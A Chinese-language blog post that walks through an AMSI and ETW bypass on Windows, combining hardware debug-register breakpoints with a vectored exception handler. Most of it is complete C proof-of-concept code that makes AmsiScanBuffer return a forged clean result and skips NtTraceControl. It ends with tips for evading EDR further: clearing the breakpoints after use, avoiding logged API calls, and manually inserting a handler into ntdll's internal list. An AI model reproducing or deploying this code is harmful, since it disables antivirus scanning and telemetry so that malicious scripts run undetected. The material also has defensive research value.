1.背景

AMSI流程图

微软在 2015 年随 Windows 10 推出了 AMSI(Antimalware Scan Interface,反恶意软件扫描接口),为第三方安全产品提供了一个统一的扫描接口,用于检测无文件攻击和脚本类威胁。AMSI 的核心函数 `AmsiScanBuffer` 负责将内存中的内容提交给安全引擎进行扫描,攻击者自然不会坐视不管。从 AMSI 诞生的那一刻起,绕过它的技术就开始了演进.

2.AMSI Bypass

内存ptach的攻击流程

早也是最直接的做法——直接修改 AmsiScanBuffer 函数在内存中的代码:

// 传统 patch:把 AmsiScanBuffer 第一条指令改成 ret
// 原始字节:4C 8B DC (mov r11, rsp)
// 修改为:  C3       (ret) → 函数什么都不做就返回了

这种方法简单粗暴,但问题也很明显:

  1. 需要修改内存页权限:必须调用 VirtualProtect 或 NtProtectVirtualMemory 将代码页改为可写(RWX),这个 API 调用本身就会被 EDR 监控
  2. 破坏内存完整性:EDR 会周期性地对比磁盘上 amsi.dll 和内存中的代码段 hash,一旦发现不一致立刻报警
  3. 对应 MITRE ATT&CK T1562.001:这种"动手关安全组件"的行为属于"削弱防御:禁用或修改工具",是 EDR 最敏感的告警之一

3.新的思路

3.1 硬件断点

根据 Intel 64 和 IA-32 架构软件开发者手册,CPU 提供了 4 个调试地址寄存器(DR0-DR3),可以设置最多 4 个硬件断点。当 CPU 执行到断点地址时,会在该指令执行之前触发调试异常。DR7 寄存器用于控制这些断点的启用和类型。

需要注意的是,调试寄存器是特权资源,用户态进程无法通过 MOV DR0, RAX 这样的指令直接修改。要操作它们,必须通过 Windows 提供的 CONTEXT 结构体间接完成。

3.2 向量化异常处理(VEH)

Windows 提供了一种叫 VEH(Vectored Exception Handler)的机制——你可以注册一个回调函数,当程序发生异常时,系统会先调用你的函数来处理。

当硬件断点被触发时,CPU 抛出一个单步异常(EXCEPTION_SINGLE_STEP,异常码 0x80000004)。系统会把两样东西交给 VEH handler:一个是异常信息(哪个地址触发的),另一个是当前线程的 CPU 状态(CONTEXT 结构体,包含所有寄存器的值)。

关键在于——这个 CONTEXT 是可写的,你改了它,系统恢复执行时就会用你改过的值。比如把 RIP 指向别的地方、把 RAX 改成你想要的返回值。函数还没执行就被劫持了,而内存里的代码一个字节都没动过。

3.3 HWBP + VEH

要把这套技术跑起来,攻击者需要做两件事,第一,注册 VEH 处理单步异常。** 调用 AddVectoredExceptionHandler注册一个回调,专门处理 `EXCEPTION_SINGLE_STEP,断点命中后要做什么,全写在这个回调里。第二,想办法设置调试寄存器, 通过 CONTEXT 结构体间接修改:先获取线程的 CONTEXT,改掉里面的 Dr0/Dr7 字段,再写回去。写回的方式就是调用 SetThreadContext它底层走 `ntdll!NtSetContextThread` 这个 syscall,让内核帮你把 CONTEXT 应用到线程,在AmsiScanBuffer上设硬件断点,注册 VEH 拦截后直接跳过扫描,实现了不 patch 任何内存字节的 AMSI bypass。

 

demo

#include <windows.h>
#include <stdio.h>
#include <amsi.h>

#pragma comment(lib, "amsi.lib")

// NtContinue 函数指针类型(ntdll 未公开函数,需要手动声明)
typedef NTSTATUS(NTAPI* PFN_NtContinue)(PCONTEXT pContextRecord, BOOLEAN bTestAlert);

// 全局变量:保存两个目标函数的地址
PVOID g_pNtTraceControl = NULL;   // ETW 核心函数
PVOID g_pAmsiScanBuffer = NULL;   // AMSI 扫描函数

// ==================== VEH 异常处理回调 ====================
// 当硬件断点命中时,系统会调用这个函数
ULONG Handler(PEXCEPTION_POINTERS exception_ptr) {
    // 只处理硬件断点触发的单步异常(0x80000004)
    // 其他异常不管,交给系统默认处理
    if (exception_ptr->ExceptionRecord->ExceptionCode != EXCEPTION_SINGLE_STEP) {
        return EXCEPTION_CONTINUE_SEARCH;
    }

    // 获取触发异常的地址和线程的 CPU 状态
    PVOID ExceptionAddress = exception_ptr->ExceptionRecord->ExceptionAddress;
    PCONTEXT context = exception_ptr->ContextRecord;  // 这个结构体可读可写!

    // ---------- ETW Bypass ----------
    // 如果是 NtTraceControl 被命中,直接跳过整个函数
    if (ExceptionAddress == g_pNtTraceControl) {
        // Rsp 栈顶存的是调用者的返回地址
        ULONG_PTR returnAddress = *(ULONG_PTR*)context->Rsp;
        // 把 RIP 改成返回地址 = 跳过函数执行
        context->Rip = returnAddress;
        // 模拟 ret 指令:弹出返回地址(RSP + 8)
        context->Rsp += 8;
        // 恢复执行,ETW 事件不会被发送
        return EXCEPTION_CONTINUE_EXECUTION;
    }

    // ---------- AMSI Bypass ----------
    // 如果是 AmsiScanBuffer 被命中,伪造"干净"的扫描结果
    else if (ExceptionAddress == g_pAmsiScanBuffer) {
        // AmsiScanBuffer 的第 6 个参数是 AMSI_RESULT* 指针
        // x64 调用约定:前 4 个参数在寄存器,第 5/6 个在栈上
        // Rsp + 0  = 返回地址
        // Rsp + 8  到 Rsp + 38 = shadow space
        // Rsp + 40 = 第 5 个参数
        // Rsp + 48 = 第 6 个参数(AMSI_RESULT*)
        PULONG puAmsiResult = *(PULONG*)(context->Rsp + 48);
        // 写入 AMSI_RESULT_CLEAN(0)= "没有恶意"
        *puAmsiResult = AMSI_RESULT_CLEAN;

        // 跳过整个 AmsiScanBuffer 函数
        ULONG_PTR returnAddress = *(ULONG_PTR*)context->Rsp;
        context->Rip = returnAddress;
        context->Rsp += 8;
        // RAX = 函数返回值,设为 S_OK(0)= "执行成功"
        context->Rax = S_OK;

        // 恢复执行,调用者看到的是"扫描完了,结果干净"
        return EXCEPTION_CONTINUE_EXECUTION;
    }

    return EXCEPTION_CONTINUE_SEARCH;
}

// ==================== 主函数 ====================
int main(int argc, char* argv[]) {
    HMODULE hNtDll = GetModuleHandleA("ntdll.dll");  // ntdll 每个进程都自动加载
    HMODULE hAmsiDll = NULL;

    // ===== 第 1 步:注册 VEH =====
    // 参数 1 = 插到 VEH 链表最前面,优先级最高
    AddVectoredExceptionHandler(1, (PVECTORED_EXCEPTION_HANDLER)Handler);

    // ===== 第 2 步:获取当前线程的调试寄存器状态 =====
    CONTEXT contextThread = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
    GetThreadContext(GetCurrentThread(), &contextThread);
    // 清零,从干净状态开始
    contextThread.Dr0 = 0;
    contextThread.Dr1 = 0;
    contextThread.Dr7 = 0;

    // ===== 第 3 步:设置 ETW 断点(Dr0) =====
    g_pNtTraceControl = GetProcAddress(hNtDll, "NtTraceControl");
    contextThread.Dr0 = (ULONG_PTR)g_pNtTraceControl;  // Dr0 = 目标地址
    contextThread.Dr7 |= 0x1;  // bit 0 = 启用 Dr0

    // ===== 第 4 步:设置 AMSI 断点(Dr1) =====
    hAmsiDll = LoadLibraryA("amsi.dll");  // 加载 amsi.dll(可能尚未加载)
    g_pAmsiScanBuffer = GetProcAddress(hAmsiDll, "AmsiScanBuffer");
    contextThread.Dr1 = (ULONG_PTR)g_pAmsiScanBuffer;  // Dr1 = 目标地址
    contextThread.Dr7 |= 0x4;  // bit 2 = 启用 Dr1

    // ===== 第 5 步:NtContinue 立即激活断点 =====
    // NtContinue 直接把修改后的 CONTEXT 应用到 CPU
    // 调用完的瞬间,Dr0/Dr1/Dr7 生效,CPU 开始监视这两个地址
    // 比 SetThreadContext 更底层:无需挂起线程,立即生效
    PFN_NtContinue pfnNtContinue = (PFN_NtContinue)GetProcAddress(hNtDll, "NtContinue");
    pfnNtContinue(&contextThread, FALSE);

    // ===== 第 6 步:验证 bypass =====
    HAMSICONTEXT hAmsiContext;
    AMSI_RESULT amsiResult;
    if (SUCCEEDED(AmsiInitialize(L"TestApp", &hAmsiContext))) {
        LPCSTR szEicar = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";
        HRESULT hr = AmsiScanBuffer(hAmsiContext, (PVOID)szEicar, (ULONG)strlen(szEicar), L"Test", NULL, &amsiResult);
        if (SUCCEEDED(hr)) {
            printf("[+] AMSI result: 0x%08X\n", (DWORD)amsiResult);
        }
        AmsiUninitialize(hAmsiContext);
    }

    FreeLibrary(hAmsiDll);
    return 0;
}

如图注册VEH,获取线程上下文Dr0 Dr1 Dr7 位0说明无断电

解析函数AmsiSscanbuffer位于0x00007FFFB82F8160hwbp点将Dr1只想Dr7设置0x4

当AmsiScanbuffer被调用时候Veh接管拦截,Modified RIP = 调用者的返回地址(0x00007FF747FA16A2)→ 跳过了整个函数实现bypass.

总结

本文分析了 新的AMSI Bypass 技术的完整攻击链:利用 CPU 硬件断点(Dr0-Dr3)在 AmsiScanBuffer 入口设置监视点,配合 VEH 异常回调在函数执行前劫持线程上下文,通过修改 RIP 跳过函数、伪造 RAX 返回值和 AMSI_RESULT 参数,实现零内存修改的 AMSI 绕过,与传统内存 patch 相比,该技术不触发内存完整性告警、不修改代码页权限、不留下磁盘 vs 内存的 hash 差异。整个过程使用的都是 Windows 和 CPU 的合法机制(硬件调试寄存器、VEH、CONTEXT 结构体),这正是其难以检测的根本原因。

改进研究点

用 VEH² 替掉 NtContinue当前这个 PoC 用 GetThreadContext + NtContinue 来设断点,但内核会把这个调用记到 ETW 日志里,防守方订阅一下就能看到。换成 VEH² 的方式先 DebugBreak() 触发一个异常,在异常回调里直接改 CONTEXT 的 Dr0/Dr7,不调用任何 API,内核日志里就什么都没有。

用完断点立刻清掉现在的代码 bypass 完之后 Dr1 和 Dr7 还是非零的,EDR 随时扫一下线程就能看到"你在 amsi.dll 上挂了个断点"。在 handler 里处理完之后顺手把 Dr1/Dr7 清零,这样 EDR 再查的时候什么都看不到。

手动注册 VEH,别用 APIAddVectoredExceptionHandler 这个 API 很多 EDR 都 hook 了,你一调就被发现了。更隐蔽的做法是直接找到 ntdll 内部的 LdrpVectorHandlerList 链表,自己构造一个节点插进去。不走 API,hook 也抓不到。